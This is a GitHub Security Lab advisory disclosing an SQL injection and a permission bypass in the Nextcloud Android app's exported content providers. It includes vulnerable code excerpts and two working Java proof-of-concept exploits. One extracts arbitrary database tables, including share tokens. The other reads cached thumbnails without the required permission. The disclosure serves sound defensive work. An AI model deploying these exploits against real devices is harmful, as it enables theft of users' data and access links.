skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
February 1, 2022

GHSL-2021-1007: SQL Injection and insufficient permission control in Nextcloud Android app - CVE-2021-43863, CVE-2021-41166

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

The Nextcloud Android app uses content providers to manage its data. The providers FileContentProvider and DiskLruImageCacheFileProvider have security issues (an SQL injection, and an insufficient permission control, respectively) that allow malicious apps in the same device to access Nextcloud’s data bypassing the permission control system.

Product

Nextcloud Android app

Tested Version

Latest (3.17.0)

Details

Issue 1: SQL Injection in FileContentProvider (GHSL-2021-1007)

The FileContentProvider provider is exported, as can be seen in the Android Manifest:

<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true">
    --snip--
</provider>

Even though some paths are protected with the path-permission element, there are three tables that can be freely interacted with by other apps in the same device. Those are:

This is allowed both in the Android Manifest (because there isn’t a path-permission element for those tables) and in the source code, where a permission check is implemented in the function isCallerNotAllowed in FileContentProvider.java:1018.

(Note that the return value false means the caller is allowed.)

private boolean isCallerNotAllowed(Uri uri) {
    switch (mUriMatcher.match(uri)) {
        case SHARES:
        case CAPABILITIES:
        case UPLOADS:
        case SYNCED_FOLDERS:
        case EXTERNAL_LINKS:
        case ARBITRARY_DATA:
        case VIRTUAL:
        case FILESYSTEM:
            String callingPackage = mContext.getPackageManager().getNameForUid(Binder.getCallingUid());
            return callingPackage == null || !callingPackage.equals(mContext.getPackageName());

        case ROOT_DIRECTORY:
        case SINGLE_FILE:
        case DIRECTORY:
        default:
            return false;
    }
}

By reviewing the entry-points of the Content Provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection.

The delete method

User input enters the content provider through the three parameters of this method:

public int delete(@NonNull Uri uri, String where, String[] whereArgs) {

The where parameter reaches the following dangerous arguments without sanitization (not including permission-protected paths):

FileContentProvider.java:199

private int deleteSingleFile(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {
    // --snip--
    try {
        // --snip--
        if (remoteId == null) {
            return 0;
        } else {
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME,
                                ProviderTableMeta._ID + "=" + uri.getPathSegments().get(1)
                                    + (!TextUtils.isEmpty(where) ? " AND (" + where + ")" : ""), whereArgs);
        }
    }
    // --snip--
}

FileContentProvider.java:220

private int deleteDirectory(SQLiteDatabase db, Uri uri, String where, String... whereArgs) {
    // --snip--
    if (uri.getPathSegments().size() > MINIMUM_PATH_SEGMENTS_SIZE) {
        count += db.delete(ProviderTableMeta.FILE_TABLE_NAME,
                            ProviderTableMeta._ID + "=" + uri.getPathSegments().get(1)
                                + (!TextUtils.isEmpty(where) ? " AND (" + where + ")" : ""), whereArgs);
    }
    // --snip..
}

FileContentProvider.java:137

count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs);

The query method

User input enters the content provider through the five parameters of this method:

public Cursor query(@NonNull Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {

The selection and sortOrder parameters reach the following dangerous arguments without sanitization (not including permission-protected paths):

FileContentProvider.java:617

// Take into account that this check is insufficient, since
// the attacker only needs to provide non-null selectionArgs
// for the arbitrary selection to reach the query method.
if (selectionArgs == null && selection != null) {
    selectionArgs = new String[]{selection};
    selection = "(?)";
}

sqlQuery.setStrict(true);
Cursor c = sqlQuery.query(db, projectionArray, selection, selectionArgs, null, null, order);

The update method

User input enters the content provider through the four parameters of this method:

public int update(@NonNull Uri uri, ContentValues values, String selection, String[] selectionArgs) {

The values and selection parameters reach the following dangerous arguments without sanitization (not including permission-protected paths):

FileContentProvider.java:658

return db.update(ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs);

Impact

This issue may lead to sensitive information disclosure, by reading other tables of the filelist database which would otherwise require special permissions.

Resources

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the filelist database exploiting the issues mentioned above:

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class Exploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.nextcloud/file"),
                newNextcloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("note=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName  + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "--", "a");
        Log.e("test","" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String output = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return output;
    }

    private static ContentValues newNextcloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("encrypted_filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("path_decrypted", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("etag_on_server", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        values.put("favorite", "a");
        values.put("is_encrypted", "a");
        values.put("mount_type", "a");
        values.put("has_preview", "a");
        values.put("unread_comments_count", "a");
        values.put("owner_id", "a");
        values.put("owner_display_name", "a");
        values.put("note", "a");
        values.put("sharees", "a");
        values.put("rich_workspace", "a");
        return values;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try(Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.nextcloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("ProviderHelper", "mCursor is null");
                return "";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    public static void deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.nextcloud/file/" + id),
                null,
                null
        );
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database, while exploit(context, "token", "ocshares") would return the token of every shared file via Nextcloud, which can be used to build a link that gives access to those files.

Issue 2: Permission bypass in DiskLruImageCacheFileProvider (GHSL-2021-1008)

The DiskLruImageCacheFileProvider provider is exported, as can be seen in the Android Manifest:

<provider
    android:name=".providers.DiskLruImageCacheFileProvider"
    android:authorities="@string/image_cache_provider_authority"
    android:grantUriPermissions="true"
    android:readPermission="android.permission.MANAGE_DOCUMENTS"
    android:exported="true">
</provider>

It requires the readPermission android.permission.MANAGE_DOCUMENTS, but it doesn’t require a writePermission. This fact allows any application in the same device to read image thumbnails of the files managed by Nextcloud (they just need to be opened in write mode), effectively bypassing the required readPermission.

This is because, independently of whether the user is trying to read or write a file in a Content Provider, the openFile method is called. The mode parameter will change depending on what the user is trying to do ("r" for reading, "w" for writing), but the rest will remain the same.

As can be seen, DiskLruImageCacheFileProvider will always return the ParcelFileDescriptor independently of the mode:

@Override
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException {
    return getParcelFileDescriptorForOCFile(getFile(uri));
}

So, as it’s shown in the PoC included in the Resources section, an attacker just needs to access the content provider’s files in write mode to be able to read them.

Impact

This issue may lead to sensitive information disclosure, in the case a thumbnail contains sensitive data (although the chances are low), even if the attacker app does not have the otherwise required MANAGE_DOCUMENTS permission.

Resources

The following PoC demonstrates how a malicious application with no special permissions could read the thumbnail of any Nextcloud-managed file, exploiting the issue mentioned above:

import android.content.ContentProviderClient;
import android.content.Context;
import android.net.Uri;
import android.os.ParcelFileDescriptor;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.nio.file.Files;

public class Exploit {

        public static File exfiltrateThumbnail(Context ctx, String filename) throws Exception {
        try (ContentProviderClient client = ctx.getContentResolver()
                .acquireContentProviderClient(Uri.parse("content://org.nextcloud.imageCache.provider"))) {
            ParcelFileDescriptor f = client.openFile(
                    Uri.parse("content://org.nextcloud.imageCache.provider/" + filename), "w");
            try (InputStream in = new FileInputStream(f.getFileDescriptor())) {
                File file = new File(ctx.getFilesDir(), filename);
                if (file.exists()) {
                    file.delete();
                }
                Files.copy(in, file.toPath());
                return file;
            }
        }
    }
}

CVE

Resources

Credit

These issues were discovered and reported by the CodeQL static languages team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1007 or GHSL-2021-1008 in any communication regarding these issues.